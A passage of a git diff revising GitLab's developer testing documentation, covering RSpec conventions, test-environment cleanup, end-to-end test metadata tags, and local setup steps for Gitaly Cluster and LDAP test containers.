[`:aggregate_failures`](https://relishapp.com/rspec/rspec-core/docs/expectation-framework-integration/aggregating-failures) when there is more than one expectation in a test. - For [empty test description blocks](https://github.com/rubocop-hq/rspec-style-guide#it-and-specify), use `specify` rather than `it do` if the test is self-explanatory. @@ -343,7 +343,7 @@ writing one](testing_levels.md#consider-not-writing-a-system-test)! For instance, if you want to verify that a record was created, add expectations that its attributes are displayed on the page, not that `Model.count` increased by one. -- It's ok to look for DOM elements but don't abuse it since it makes the tests +- It's ok to look for DOM elements, but don't abuse it, because it makes the tests more brittle #### Debugging Capybara @@ -353,7 +353,7 @@ Sometimes you may need to debug Capybara tests by observing browser behavior. #### Live debug You can pause Capybara and view the website on the browser by using the -`live_debug` method in your spec. The current page will be automatically opened +`live_debug` method in your spec. The current page is automatically opened in your default browser. You may need to sign in first (the current user's credentials are displayed in the terminal). @@ -381,13 +381,13 @@ Finished in 34.51 seconds (files took 0.76702 seconds to load) #### Run `:js` spec in a visible browser -Run the spec with `CHROME_HEADLESS=0`, e.g.: +Run the spec with `CHROME_HEADLESS=0`, like this: ```shell CHROME_HEADLESS=0 bin/rspec some_spec.rb ``` -The test will go by quickly, but this will give you an idea of what's happening. +The test completes quickly, but this gives you an idea of what's happening. Using `live_debug` with `CHROME_HEADLESS=0` pauses the open browser, and does not open the page again. This can be used to debug and inspect elements. @@ -416,20 +416,20 @@ There is a [small hack](https://gitlab.com/gitlab-org/gitlab-foss/snippets/17184 ### Fast unit tests -Some classes are well-isolated from Rails and you should be able to test them +Some classes are well-isolated from Rails. You should be able to test them without the overhead added by the Rails environment and Bundler's `:default` group's gem loading. In these cases, you can `require 'fast_spec_helper'` instead of `require 'spec_helper'` in your test file, and your test should run -really fast since: +really fast because: -- Gems loading is skipped +- Gem loading is skipped - Rails app boot is skipped - GitLab Shell and Gitaly setup are skipped - Test repositories setup are skipped `fast_spec_helper` also support autoloading classes that are located inside the -`lib/` directory. It means that as long as your class / module is using only -code from the `lib/` directory you will not need to explicitly load any +`lib/` directory. If your class or module is using only +code from the `lib/` directory, you don't need to explicitly load any dependencies. `fast_spec_helper` also loads all ActiveSupport extensions, including core extensions that are commonly used in the Rails environment. @@ -439,9 +439,11 @@ in `lib/`. For example, if you want to test your code that is calling the `Gitlab::UntrustedRegexp` class, which under the hood uses `re2` library, you -should either add `require_dependency 're2'` to files in your library that -need `re2` gem, to make this requirement explicit, or you can add it to the -spec itself, but the former is preferred. +should either: + +- Add `require_dependency 're2'` to files in your library that need `re2` gem, + to make this requirement explicit. This approach is preferred. +- Add it to the spec itself. It takes around one second to load tests that are using `fast_spec_helper` instead of 30+ seconds in case of a regular `spec_helper`. @@ -465,7 +467,7 @@ so we need to set some guidelines for their use going forward: - Don't define a `let` variable that's only used by the definition of another. Use a helper method instead. - `let!` variables should be used only in case if strict evaluation with defined - order is required, otherwise `let` will suffice. Remember that `let` is lazy and won't + order is required, otherwise `let` suffices. Remember that `let` is lazy and won't be evaluated until it is referenced. - Avoid referencing `subject` in examples. Use a named subject `subject(:name)`, or a `let` variable instead, so the variable has a contextual name. @@ -475,7 +477,7 @@ so we need to set some guidelines for their use going forward: In some cases, there is no need to recreate the same object for tests again for each example. For example, a project and a guest of that project -is needed to test issues on the same project, one project and user will do for the entire file. +are needed to test issues on the same project, so one project and user are enough for the entire file. As much as possible, do not implement this using `before(:all)` or `before(:context)`. If you do, you would need to manually clean up the data as those hooks run outside a database transaction. @@ -494,9 +496,9 @@ before_all do end ``` -This will result in only one `Project`, `User`, and `ProjectMember` created for this context. +This results in only one `Project`, `User`, and `ProjectMember` created for this context. -`let_it_be` and `before_all` are also available within nested contexts. Cleanup after the context +`let_it_be` and `before_all` are also available in nested contexts. Cleanup after the context is handled automatically using a transaction rollback. Note that if you modify an object defined inside a `let_it_be` block, @@ -545,14 +547,14 @@ This section was moved to [developing with feature flags](../feature_flags/devel The code exercised by a single GitLab test may access and modify many items of data. Without careful preparation before a test runs, and cleanup afterward, -data can be changed by a test in such a way that it affects the behavior of +a test can change data in a way that affects the behavior of following tests. This should be avoided at all costs! Fortunately, the existing test framework handles most cases already. When the test environment does get polluted, a common outcome is -[flaky tests](flaky_tests.md). Pollution will often manifest as an order -dependency: running spec A followed by spec B will reliably fail, but running -spec B followed by spec A will reliably succeed. In these cases, you can use +[flaky tests](flaky_tests.md). Pollution often manifests as an order +dependency: running spec A followed by spec B reliably fails, but running +spec B followed by spec A reliably succeeds. In these cases, you can use `rspec --bisect` (or a manual pairwise bisect of spec files) to determine which spec is at fault. Fixing the problem requires some understanding of how the test suite ensures the environment is pristine. Read on to discover more about each @@ -561,15 +563,15 @@ data store! #### SQL database This is managed for us by the `database_cleaner` gem. Each spec is surrounded in -a transaction, which is rolled back once the test completes. Certain specs will -instead issue `DELETE FROM` queries against every table after completion; this +a transaction, which is rolled back after the test completes. Certain specs +instead issue `DELETE FROM` queries against every table after completion. This allows the created rows to be viewed from multiple database connections, which is important for specs that run in a browser, or migration specs, among others. One consequence of using these strategies, instead of the well-known `TRUNCATE TABLES` approach, is that primary keys and other sequences are **not** reset across specs. So if you create a project in spec A, then create a project -in spec B, the first will have `id=1`, while the second will have `id=2`. +in spec B, the first has `id=1`, while the second has `id=2`. This means that specs should **never** rely on the value of an ID, or any other sequence-generated column. To avoid accidental conflicts, specs should also @@ -610,7 +612,7 @@ DNS requests are stubbed universally in the test suite (as of [!22368](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22368)), as DNS can cause issues depending on the developer's local network. There are RSpec labels available in `spec/support/dns.rb` which you can apply to tests if you need to -bypass the DNS stubbing, e.g.: +bypass the DNS stubbing, like this: ```ruby it "really connects to Prometheus", :permit_dns do @@ -625,8 +627,8 @@ In the situations where you need to [stub](https://relishapp.com/rspec/rspec-mocks/v/3-9/docs/basics/allowing-messages) methods such as `File.read`, make sure to: -1. Stub `File.read` for only the filepath you are interested in. -1. Call the original implementation for other filepaths. +1. Stub `File.read` for only the file path you are interested in. +1. Call the original implementation for other file paths. Otherwise `File.read` calls from other parts of the codebase get stubbed incorrectly. You should use the `stub_file_read`, and @@ -645,19 +647,19 @@ allow(File).to receive(:read).and_call_original allow(File).to receive(:read).with(my_filepath) ``` -#### Filesystem +#### File system -Filesystem data can be roughly split into "repositories", and "everything else". +File system data can be roughly split into "repositories", and "everything else". Repositories are stored in `tmp/tests/repositories`. This directory is emptied before a test run starts, and after the test run ends. It is not emptied between -specs, so created repositories accumulate within this directory over the +specs, so created repositories accumulate in this directory over the lifetime of the process. Deleting them is expensive, but this could lead to pollution unless carefully managed. To avoid this, [hashed storage](../../administration/repository_storage_types.md) is enabled in the test suite. This means that repositories are given a unique -path that depends on their project's ID. Since the project IDs are not reset -between specs, this guarantees that each spec gets its own repository on disk, +path that depends on their project's ID. Because the project IDs are not reset +between specs, each spec gets its own repository on disk, and prevents changes from being visible between specs. If a spec manually specifies a project ID, or inspects the state of the @@ -671,9 +673,9 @@ written to disk in locations determined by ID, so conflicts should not occur. Some specs disable hashed storage by passing the `:legacy_storage` trait to the `projects` factory. Specs that do this must **never** override the `path` of the -project, or any of its groups. The default path includes the project ID, so will -not conflict; but if two specs create a `:legacy_storage` project with the same -path, they will use the same repository on disk and lead to test environment +project, or any of its groups. The default path includes the project ID, so it +does not conflict. If two specs create a `:legacy_storage` project with the same +path, they use the same repository on disk and lead to test environment pollution. Other files must be managed manually by the spec. If you run code that creates a @@ -712,21 +714,20 @@ If you need to modify the contents of the `ENV` constant, you can use the While most Ruby **instances** are not shared between specs, **classes** and **modules** generally are. Class and module instance variables, accessors, class variables, and other stateful idioms, should be treated in the same way as -global variables - don't modify them unless you have to! In particular, prefer +global variables. Don't modify them unless you have to! In particular, prefer using expectations, or dependency injection along with stubs, to avoid the need -for modifications. If you have no other choice, an `around` block similar to the -example for global variables, above, can be used, but this should be avoided if -at all possible. +for modifications. If you have no other choice, an `around` block like the global +variables example can be used, but avoid this if at all possible. #### Test Snowplow events WARNING: Snowplow performs **runtime type checks** by using the [contracts gem](https://rubygems.org/gems/contracts). -Since Snowplow is **by default disabled in tests and development**, it can be hard to +Because Snowplow is **by default disabled in tests and development**, it can be hard to **catch exceptions** when mocking `Gitlab::Tracking`. -To catch runtime errors due to type checks, you can enable Snowplow in tests by marking the spec with -`:snowplow` and use the `expect_snowplow_event` helper which will check for +To catch runtime errors due to type checks, you can enable Snowplow in tests. Mark the spec with +`:snowplow` and use the `expect_snowplow_event` helper, which checks for calls to `Gitlab::Tracking#event`. ```ruby @@ -737,12 +738,14 @@ describe '#show', :snowplow do expect_snowplow_event( category: 'Experiment', action: 'start', + standard_context: { namespace: group, project: project } ) expect_snowplow_event( category: 'Experiment', action: 'sent', property: 'property', - label: 'label' + label: 'label', + standard_context: { namespace: group, project: project } ) end end @@ -794,7 +797,7 @@ end WARNING: Only use simple values as input in the `where` block. Using procs, stateful -objects, FactoryBot-created objects etc. can lead to +objects, FactoryBot-created objects, and similar items can lead to [unexpected results](https://github.com/tomykaira/rspec-parameterized/issues/8). ### Prometheus tests @@ -807,7 +810,7 @@ reset before each example, add the `:prometheus` tag to the RSpec test. Custom matchers should be created to clarify the intent and/or hide the complexity of RSpec expectations. They should be placed under `spec/support/matchers/`. Matchers can be placed in subfolder if they apply to -a certain type of specs only (e.g. features, requests etc.) but shouldn't be if +a certain type of specs only (such as features or requests) but shouldn't be if they apply to multiple type of specs. #### `be_like_time` @@ -881,13 +884,13 @@ expect(json_string).to be_valid_json.and match_schema(schema) Testing query performance allows us to: -- Assert that N+1 problems do not exist within a block of code. -- Ensure that the number of queries within a block of code does not increase unnoticed. +- Assert that N+1 problems do not exist in a block of code. +- Ensure that the number of queries in a block of code does not increase unnoticed. #### QueryRecorder `QueryRecorder` allows profiling and testing of the number of database queries -performed within a given block of code. +performed in a given block of code. See the [`QueryRecorder`](../query_recorder.md) section for more details. @@ -905,9 +908,9 @@ Any shared contexts used by more than one spec file: - Should be placed under `spec/support/shared_contexts/`. - Can be placed in subfolder if they apply to a certain type of specs only - (e.g. features, requests etc.) but shouldn't be if they apply to multiple type of specs. + (such as features or requests) but shouldn't be if they apply to multiple type of specs. -Each file should include only one context and have a descriptive name, e.g. +Each file should include only one context and have a descriptive name, such as `spec/support/shared_contexts/controllers/githubish_import_controller_shared_context.rb`. ### Shared examples @@ -917,9 +920,9 @@ Any shared examples used by more than one spec file: - Should be placed under `spec/support/shared_examples/`. - Can be placed in subfolder if they apply to a certain type of specs only - (e.g. features, requests etc.) but shouldn't be if they apply to multiple type of specs. + (such as features or requests) but shouldn't be if they apply to multiple type of specs. -Each file should include only one context and have a descriptive name, e.g. +Each file should include only one context and have a descriptive name, such as `spec/support/shared_examples/controllers/githubish_import_controller_shared_example.rb`. ### Helpers @@ -927,8 +930,8 @@ Each file should include only one context and have a descriptive name, e.g. Helpers are usually modules that provide some methods to hide the complexity of specific RSpec examples. You can define helpers in RSpec files if they're not intended to be shared with other specs. Otherwise, they should be placed -under `spec/support/helpers/`. Helpers can be placed in subfolder if they apply -to a certain type of specs only (e.g. features, requests etc.) but shouldn't be +under `spec/support/helpers/`. Helpers can be placed in a subfolder if they apply +to a certain type of specs only (such as features or requests) but shouldn't be if they apply to multiple type of specs. Helpers should follow the Rails naming / namespacing convention. For instance @@ -985,7 +988,7 @@ All fixtures should be placed under `spec/fixtures/`. ### Repositories -Testing some functionality, e.g., merging a merge request, requires a Git +Testing some functionality, such as merging a merge request, requires a Git repository with a certain state to be present in the test environment. GitLab maintains the [`gitlab-test`](https://gitlab.com/gitlab-org/gitlab-test) repository for certain common cases - you can ensure a copy of the repository is @@ -996,7 +999,7 @@ let(:project) { create(:project, :repository) } ``` Where you can, consider using the `:custom_repo` trait instead of `:repository`. -This allows you to specify exactly what files will appear in the `master` branch +This allows you to specify exactly what files appear in the `master` branch of the project's repository. For example: ```ruby @@ -1011,17 +1014,17 @@ let(:project) do end ``` -This will create a repository containing two files, with default permissions and +This creates a repository containing two files, with default permissions and the specified content. ### Configuration -RSpec configuration files are files that change the RSpec configuration (i.e. +RSpec configuration files are files that change the RSpec configuration (like `RSpec.configure do |config|` blocks). They should be placed under `spec/support/`. -Each file should be related to a specific domain, e.g. -`spec/support/capybara.rb`, `spec/support/carrierwave.rb`, etc. +Each file should be related to a specific domain, such as +`spec/support/capybara.rb` or `spec/support/carrierwave.rb`. If a helpers module applies only to a certain kind of specs, it should add modifiers to the `config.include` call. For instance if @@ -1047,7 +1050,7 @@ file which is used by the `spec/fast_spec_helper.rb` file. See Services for the test environment are automatically configured and started when tests are run, including Gitaly, Workhorse, Elasticsearch, and Capybara. When run in CI, or -if the service needs to be installed, the test environment will log information +if the service needs to be installed, the test environment logs information about set-up time, producing log messages like the following: ```plaintext diff --git a/doc/development/testing_guide/end_to_end/best_practices.md b/doc/development/testing_guide/end_to_end/best_practices.md index b761e33367f..a5a2d2a1113 100644 --- a/doc/development/testing_guide/end_to_end/best_practices.md +++ b/doc/development/testing_guide/end_to_end/best_practices.md @@ -10,7 +10,7 @@ This is a tailored extension of the Best Practices [found in the testing guide]( ## Link a test to its test-case issue -Every test should have a corresponding issue in the [Quality Testcases project](https://gitlab.com/gitlab-org/quality/testcases/). +Every test should have a corresponding issue in the [Quality Test Cases project](https://gitlab.com/gitlab-org/quality/testcases/). It's recommended that you reuse the issue created to plan the test. If one does not already exist you can create the issue yourself. Alternatively, you can run the test in a pipeline that has reporting enabled and the test-case issue reporter will automatically create a new issue. @@ -244,7 +244,7 @@ point of failure and so the screenshot would not be captured at the right moment All tests expect to be able to log in at the start of the test. -For an example see: <https://gitlab.com/gitlab-org/gitlab/-/issues/34736> +For an example see [issue #34736](https://gitlab.com/gitlab-org/gitlab/-/issues/34736). Ideally, actions performed in an `after(:context)` (or [`before(:context)`](#limit-the-use-of-the-ui-in-beforecontext-and-after-hooks)) diff --git a/doc/development/testing_guide/end_to_end/feature_flags.md b/doc/development/testing_guide/end_to_end/feature_flags.md index 1e0eda6491a..1bc33b79c7c 100644 --- a/doc/development/testing_guide/end_to_end/feature_flags.md +++ b/doc/development/testing_guide/end_to_end/feature_flags.md @@ -74,3 +74,16 @@ existing tests or write new ones. Please see the [QA README](https://gitlab.com/gitlab-org/gitlab/tree/master/qa#running-tests-with-a-feature-flag-enabled) for details. + +## Confirming that end-to-end tests pass with a feature flag enabled + +End-to-end tests should pass with a feature flag enabled before it is enabled on Staging or on GitLab.com. Tests that need to be updated should be identified as part of [quad-planning](https://about.gitlab.com/handbook/engineering/quality/quad-planning/). The relevant [counterpart Software Engineer in Test](https://about.gitlab.com/handbook/engineering/quality/#individual-contributors) is responsible for updating the tests or assisting another engineer to do so. However, if a change does not go through quad-planning and a required test update is not made, test failures could block deployment. + +If a test enables a feature flag as describe above, it is sufficient to run the `package-and-qa` job in a merge request containing the relevant changes. +Or, if the feature flag and relevant changes have already been merged, you can confirm that the tests +pass on `master`. The end-to-end tests run on `master` every two hours, and the results are posted to a [Test +Session Report, which is available in the testcase-sessions project](https://gitlab.com/gitlab-org/quality/testcase-sessions/-/issues?label_name%5B%5D=found%3Amaster). + +If the relevant tests do not enable the feature flag themselves, you can check if the tests will need +to be updated by opening a draft merge request that enables the flag by default and then running the `package-and-qa` job. +The merge request can be closed once the tests pass. If you need assistance to update the tests, please contact the relevant [stable counterpart in the Quality department](https://about.gitlab.com/handbook/engineering/quality/#individual-contributors), or any Software Engineer in Test if there is no stable counterpart for your group. diff --git a/doc/development/testing_guide/end_to_end/page_objects.md b/doc/development/testing_guide/end_to_end/page_objects.md index 939e44cedd9..d9309f74e0e 100644 --- a/doc/development/testing_guide/end_to_end/page_objects.md +++ b/doc/development/testing_guide/end_to_end/page_objects.md @@ -145,7 +145,7 @@ for each element defined. In our case, `data-qa-selector="login_field"`, `data-qa-selector="password_field"` and `data-qa-selector="sign_in_button"` -**app/views/my/view.html.haml** +`app/views/my/view.html.haml` ```haml = f.text_field :login, class: "form-control top", autofocus: "autofocus", autocapitalize: "off", autocorrect: "off", required: true, title: "This field is required.", data: { qa_selector: 'login_field' } diff --git a/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md b/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md index 6d6f7fbcf8d..8a929737ebe 100644 --- a/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md +++ b/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md @@ -14,31 +14,32 @@ This is a partial list of the [RSpec metadata](https://relishapp.com/rspec/rspec | Tag | Description | |-----|-------------| | `:elasticsearch` | The test requires an Elasticsearch service. It is used by the [instance-level scenario](https://gitlab.com/gitlab-org/gitlab-qa#definitions) [`Test::Integration::Elasticsearch`](https://gitlab.com/gitlab-org/gitlab/-/blob/72b62b51bdf513e2936301cb6c7c91ec27c35b4d/qa/qa/ee/scenario/test/integration/elasticsearch.rb) to include only tests that require Elasticsearch. | +| `:geo` | The test requires two GitLab Geo instances - a primary and a secondary - to be spun up. | | `:gitaly_cluster` | The test runs against a GitLab instance where repositories are stored on redundant Gitaly nodes behind a Praefect node. All nodes are [separate containers](../../../administration/gitaly/praefect.md#requirements-for-configuring-a-gitaly-cluster). Tests that use this tag have a longer setup time since there are three additional containers that need to be started. | +| `:github` | The test requires a GitHub personal access token. | +| `:group_saml` | The test requires a GitLab instance that has SAML SSO enabled at the group level. Interacts with an external SAML identity provider. Paired with the `:orchestrated` tag. | +| `:instance_saml` | The test requires a GitLab instance that has SAML SSO enabled at the instance level. Interacts with an external SAML identity provider. Paired with the `:orchestrated` tag. | | `:jira` | The test requires a Jira Server. [GitLab-QA](https://gitlab.com/gitlab-org/gitlab-qa) provisions the Jira Server in a Docker container when the `Test::Integration::Jira` test scenario is run. | `:kubernetes` | The test includes a GitLab instance that is configured to be run behind an SSH tunnel, allowing a TLS-accessible GitLab. This test also includes provisioning of at least one Kubernetes cluster to test against. _This tag is often be paired with `:orchestrated`._ | +| `:ldap_no_server` | The test requires a GitLab instance to be configured to use LDAP. To be used with the `:orchestrated` tag. It does not spin up an LDAP server at orchestration time. Instead, it creates the LDAP server at runtime. | +| `:ldap_no_tls` | The test requires a GitLab instance to be configured to use an external LDAP server with TLS not enabled. | +| `:ldap_tls` | The test requires a GitLab instance to be configured to use an external LDAP server with TLS enabled. | +| `:mattermost` | The test requires a GitLab Mattermost service on the GitLab instance. | +| `:object_storage` | The test requires a GitLab instance to be configured to use multiple [object storage types](../../../administration/object_storage.md). Uses MinIO as the object storage server. | | `:only` | The test is only to be run against specific environments or pipelines. See [Environment selection](environment_selection.md) for more information. | | `:orchestrated` | The GitLab instance under test may be [configured by `gitlab-qa`](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/master/docs/what_tests_can_be_run.md#orchestrated-tests) to be different to the default GitLab configuration, or `gitlab-qa` may launch additional services in separate Docker containers, or both. Tests tagged with `:orchestrated` are excluded when testing environments where we can't dynamically modify the GitLab configuration (for example, Staging). | +| `:packages` | The test requires a GitLab instance that has the [Package Registry](../../../administration/packages/#gitlab-package-registry-administration) enabled. | | `:quarantine` | The test has been [quarantined](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#quarantining-tests), runs in a separate job that only includes quarantined tests, and is allowed to fail. The test is skipped in its regular job so that if it fails it doesn't hold up the pipeline. Note that you can also [quarantine a test only when it runs against specific environment](environment_selection.md#quarantining-a-test-for-a-specific-environment). | +| `:relative_url` | The test requires a GitLab instance to be installed under a [relative URL](../../../install/relative_url.md). | | `:reliable` | The test has been [promoted to a reliable test](https://about.gitlab.com/handbook/engineering/quality/guidelines/reliable-tests/#promoting-an-existing-test-to-reliable) meaning it passes consistently in all pipelines, including merge requests. | +| `:repository_storage` | The test requires a GitLab instance to be configured to use multiple [repository storage paths](../../../administration/repository_storage_paths.md). Paired with the `:orchestrated` tag. | | `:requires_admin` | The test requires an admin account. Tests with the tag are excluded when run against Canary and Production environments. | +| `:requires_git_protocol_v2` | The test requires that Git protocol version 2 is enabled on the server. It's assumed to be enabled by default but if not the test can be skipped by setting `QA_CAN_TEST_GIT_PROTOCOL_V2` to `false`. | +| `:requires_praefect` | The test requires that the GitLab instance uses [Gitaly Cluster](../../../administration/gitaly/praefect.md) (a.k.a. Praefect) as the repository storage . It's assumed to be used by default but if not the test can be skipped by setting `QA_CAN_TEST_PRAEFECT` to `false`. | | `:runner` | The test depends on and sets up a GitLab Runner instance, typically to run a pipeline. | | `:skip_live_env` | The test is excluded when run against live deployed environments such as Staging, Canary, and Production. | -| `:testcase` | The link to the test case issue in the [Quality Testcases project](https://gitlab.com/gitlab-org/quality/testcases/). | -| `:mattermost` | The test requires a GitLab Mattermost service on the GitLab instance. | -| `:ldap_no_server` | The test requires a GitLab instance to be configured to use LDAP. To be used with the `:orchestrated` tag. It does not spin up an LDAP server at orchestration time. Instead, it creates the LDAP server at runtime. | -| `:ldap_no_tls` | The test requires a GitLab instance to be configured to use an external LDAP server with TLS not enabled. | -| `:ldap_tls` | The test requires a GitLab instance to be configured to use an external LDAP server with TLS enabled. | -| `:object_storage` | The test requires a GitLab instance to be configured to use multiple [object storage types](../../../administration/object_storage.md). Uses MinIO as the object storage server. | -| `:smtp` | The test requires a GitLab instance to be configured to use an SMTP server. Tests SMTP notification email delivery from GitLab by using MailHog. | -| `:group_saml` | The test requires a GitLab instance that has SAML SSO enabled at the group level. Interacts with an external SAML identity provider. Paired with the `:orchestrated` tag. | -| `:instance_saml` | The test requires a GitLab instance that has SAML SSO enabled at the instance level. Interacts with an external SAML identity provider. Paired with the `:orchestrated` tag. | | `:skip_signup_disabled` | The test uses UI to sign up a new user and is skipped in any environment that does not allow new user registration via the UI. | | `:smoke` | The test belongs to the test suite which verifies basic functionality of a GitLab instance.| -| `:github` | The test requires a GitHub personal access token. | -| `:repository_storage` | The test requires a GitLab instance to be configured to use multiple [repository storage paths](../../../administration/repository_storage_paths.md). Paired with the `:orchestrated` tag. | -| `:geo` | The test requires two GitLab Geo instances - a primary and a secondary - to be spun up. | -| `:relative_url` | The test requires a GitLab instance to be installed under a [relative URL](../../../install/relative_url.md). | -| `:requires_git_protocol_v2` | The test requires that Git protocol version 2 is enabled on the server. It's assumed to be enabled by default but if not the test can be skipped by setting `QA_CAN_TEST_GIT_PROTOCOL_V2` to `false`. | -| `:requires_praefect` | The test requires that the GitLab instance uses [Gitaly Cluster](../../../administration/gitaly/praefect.md) (a.k.a. Praefect) as the repository storage . It's assumed to be used by default but if not the test can be skipped by setting `QA_CAN_TEST_PRAEFECT` to `false`. | -| `:packages` | The test requires a GitLab instance that has the [Package Registry](../../../administration/packages/#gitlab-package-registry-administration) enabled. | +| `:smtp` | The test requires a GitLab instance to be configured to use an SMTP server. Tests SMTP notification email delivery from GitLab by using MailHog. | +| `:testcase` | The link to the test case issue in the [Quality Test Cases project](https://gitlab.com/gitlab-org/quality/testcases/). | +| `:transient` | The test tests transient bugs. It is excluded by default. | diff --git a/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md b/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md index cd429a74a2a..b6293ec41b8 100644 --- a/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md +++ b/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md @@ -75,17 +75,17 @@ When all the containers are running, the output of the `docker ps` command shows ```plaintext CONTAINER ID ... PORTS NAMES -d15d3386a0a8 ... 22/tcp, 443/tcp, 0.0.0.0:32772->80/tcp gitlab-gitaly-ha +d15d3386a0a8 ... 22/tcp, 443/tcp, 0.0.0.0:32772->80/tcp gitlab-gitaly-cluster ``` -That shows that the GitLab instance running in the `gitlab-gitaly-ha` container can be reached via `http://localhost:32772`. However, Git operations like cloning and pushing are performed against the URL revealed via the UI as the clone URL. It uses the hostname configured for the GitLab instance, which in this case matches the Docker container name and network, `gitlab-gitaly-ha.test`. Before you can run the tests you need to configure your computer to access the container via that address. One option is to [use caddyserver as described for running tests against GDK](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/master/docs/run_qa_against_gdk.md#workarounds). +That shows that the GitLab instance running in the `gitlab-gitaly-cluster` container can be reached via `http://localhost:32772`. However, Git operations like cloning and pushing are performed against the URL revealed via the UI as the clone URL. It uses the hostname configured for the GitLab instance, which in this case matches the Docker container name and network, `gitlab-gitaly-cluster.test`. Before you can run the tests you need to configure your computer to access the container via that address. One option is to [use Caddy server as described for running tests against GDK](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/master/docs/run_qa_against_gdk.md#workarounds). Another option is to use NGINX. -In both cases you must configure your machine to translate `gitlab-gitlab-ha.test` into an appropriate IP address: +In both cases you must configure your machine to translate `gitlab-gitaly-cluster.test` into an appropriate IP address: ```shell -echo '127.0.0.1 gitlab-gitaly-ha.test' | sudo tee -a /etc/hosts +echo '127.0.0.1 gitlab-gitaly-cluster.test' | sudo tee -a /etc/hosts ``` Then install NGINX: @@ -101,19 +101,19 @@ apt install nginx yum install nginx ``` -Finally, configure NGINX to pass requests for `gitlab-gitaly-ha.test` to the GitLab instance: +Finally, configure NGINX to pass requests for `gitlab-gitaly-cluster.test` to the GitLab instance: ```plaintext # On Debian/Ubuntu, in /etc/nginx/sites-enabled/gitlab-cluster # On macOS, in /usr/local/etc/nginx/nginx.conf server { - server_name gitlab-gitaly-ha.test; + server_name gitlab-gitaly-cluster.test; client_max_body_size 500m; location / { proxy_pass http://127.0.0.1:32772; - proxy_set_header Host gitlab-gitaly-ha.test; + proxy_set_header Host gitlab-gitaly-cluster.test; } } ``` @@ -131,14 +131,14 @@ sudo nginx -s reload You could then run the tests from the `/qa` directory: ```shell -CHROME_HEADLESS=false bin/qa Test::Instance::All http://gitlab-gitaly-ha.test -- --tag gitaly_ha +CHROME_HEADLESS=false bin/qa Test::Instance::All http://gitlab-gitaly-cluster.test -- --tag gitaly_cluster ``` Once you have finished testing you can stop and remove the Docker containers: ```shell -docker stop gitlab-gitaly-ha praefect postgres gitaly3 gitaly2 gitaly1 -docker rm gitlab-gitaly-ha praefect postgres gitaly3 gitaly2 gitaly1 +docker stop gitlab-gitaly-cluster praefect postgres gitaly3 gitaly2 gitaly1 +docker rm gitlab-gitaly-cluster praefect postgres gitaly3 gitaly2 gitaly1 ``` ## Guide to run and debug Monitor tests @@ -177,7 +177,7 @@ The following includes more information on the command: At the moment of this writing, there are two specs which run monitor tests: --`qa/specs/features/browser_ui/8_monitor/all_monitor_core_features_spec.rb` - has the specs of features in GitLab Core +-`qa/specs/features/browser_ui/8_monitor/all_monitor_core_features_spec.rb` - has the specs of features in GitLab Free -`qa/specs/features/ee/browser_ui/8_monitor/all_monitor_features_spec.rb` - has the specs of features for paid GitLab (Enterprise Edition) ### How to debug @@ -408,15 +408,15 @@ Geo requires an EE license. To visit the Geo sites in your browser, you need a r Tests that are tagged with `:ldap_tls` and `:ldap_no_tls` meta are orchestrated tests where the sign-in happens via LDAP. -These tests spin up a Docker container [(osixia/openldap)](https://hub.docker.com/r/osixia/openldap) running an instance of [OpenLDAP](https://www.openldap.org/). -The container uses fixtures [checked into the GitLab-QA repo](https://gitlab.com/gitlab-org/gitlab-qa/-/tree/9ffb9ad3be847a9054967d792d6772a74220fb42/fixtures/ldap) to create +These tests spin up a Docker container [(`osixia/openldap`)](https://hub.docker.com/r/osixia/openldap) running an instance of [OpenLDAP](https://www.openldap.org/). +The container uses fixtures [checked into the GitLab-QA repository](https://gitlab.com/gitlab-org/gitlab-qa/-/tree/9ffb9ad3be847a9054967d792d6772a74220fb42/fixtures/ldap) to create base data such as users and groups including the admin group. The password for [all users](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/9ffb9ad3be847a9054967d792d6772a74220fb42/fixtures/ldap/2_add_users.ldif) including [the `tanuki` user](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/9ffb9ad3be847a9054967d792d6772a74220fb42/fixtures/ldap/tanuki.ldif) is `password`. A GitLab instance is also created in a Docker container based on our [General LDAP setup](../../../administration/auth/ldap/index.md#general-ldap-setup) documentation. -Tests that are tagged `:ldap_tls` enable TLS on GitLab using the certificate [checked into the GitLab-QA repo](https://gitlab.com/gitlab-org/gitlab-qa/-/tree/9ffb9ad3be847a9054967d792d6772a74220fb42/tls_certificates/gitlab). +Tests that are tagged `:ldap_tls` enable TLS on GitLab using the certificate [checked into the GitLab-QA repository](https://gitlab.com/gitlab-org/gitlab-qa/-/tree/9ffb9ad3be847a9054967d792d6772a74220fb42/tls_certificates/gitlab). -The certificate was generated with openssl using this command: +The certificate was generated with OpenSSL using this command: ```shell openssl req -x509 -newkey rsa:4096 -keyout gitlab.test.key -out gitlab.test.crt -days 3650 -nodes -subj "/C=US/ST=CA/L=San Francisco/O=GitLab/OU=Org/CN=gitlab.test" @@ -432,7 +432,7 @@ To run the LDAP tests on your local with TLS enabled, follow these steps: `127.0.0.1 gitlab.test` - You can then run tests against GitLab in a Docker container on `https://gitlab.test`. Please note that the TLS certificate [checked into the GitLab-QA repo](https://gitlab.com/gitlab-org/gitlab-qa/-/tree/9ffb9ad3be847a9054967d792d6772a74220fb42/tls_certificates/gitlab) is configured for this domain. + You can then run tests against GitLab in a Docker container on `https://gitlab.test`. Please note that the TLS certificate [checked into the GitLab-QA repository](https://gitlab.com/gitlab-org/gitlab-qa/-/tree/9ffb9ad3be847a9054967d792d6772a74220fb42/tls_certificates/gitlab) is configured for this domain. 1. Run the OpenLDAP container with TLS enabled. Change the path to [`gitlab-qa/fixtures/ldap`](https://gitlab.com/gitlab-org/gitlab-qa/-/tree/9ffb9ad3be847a9054967d792d6772a74220fb42/fixtures/ldap) directory to your local checkout path: ```shell diff --git a/doc/development/testing_guide/frontend_testing.md b/doc/development/testing_guide/frontend_testing.md index 94bc80abcdb..73fce3a38d7 100644 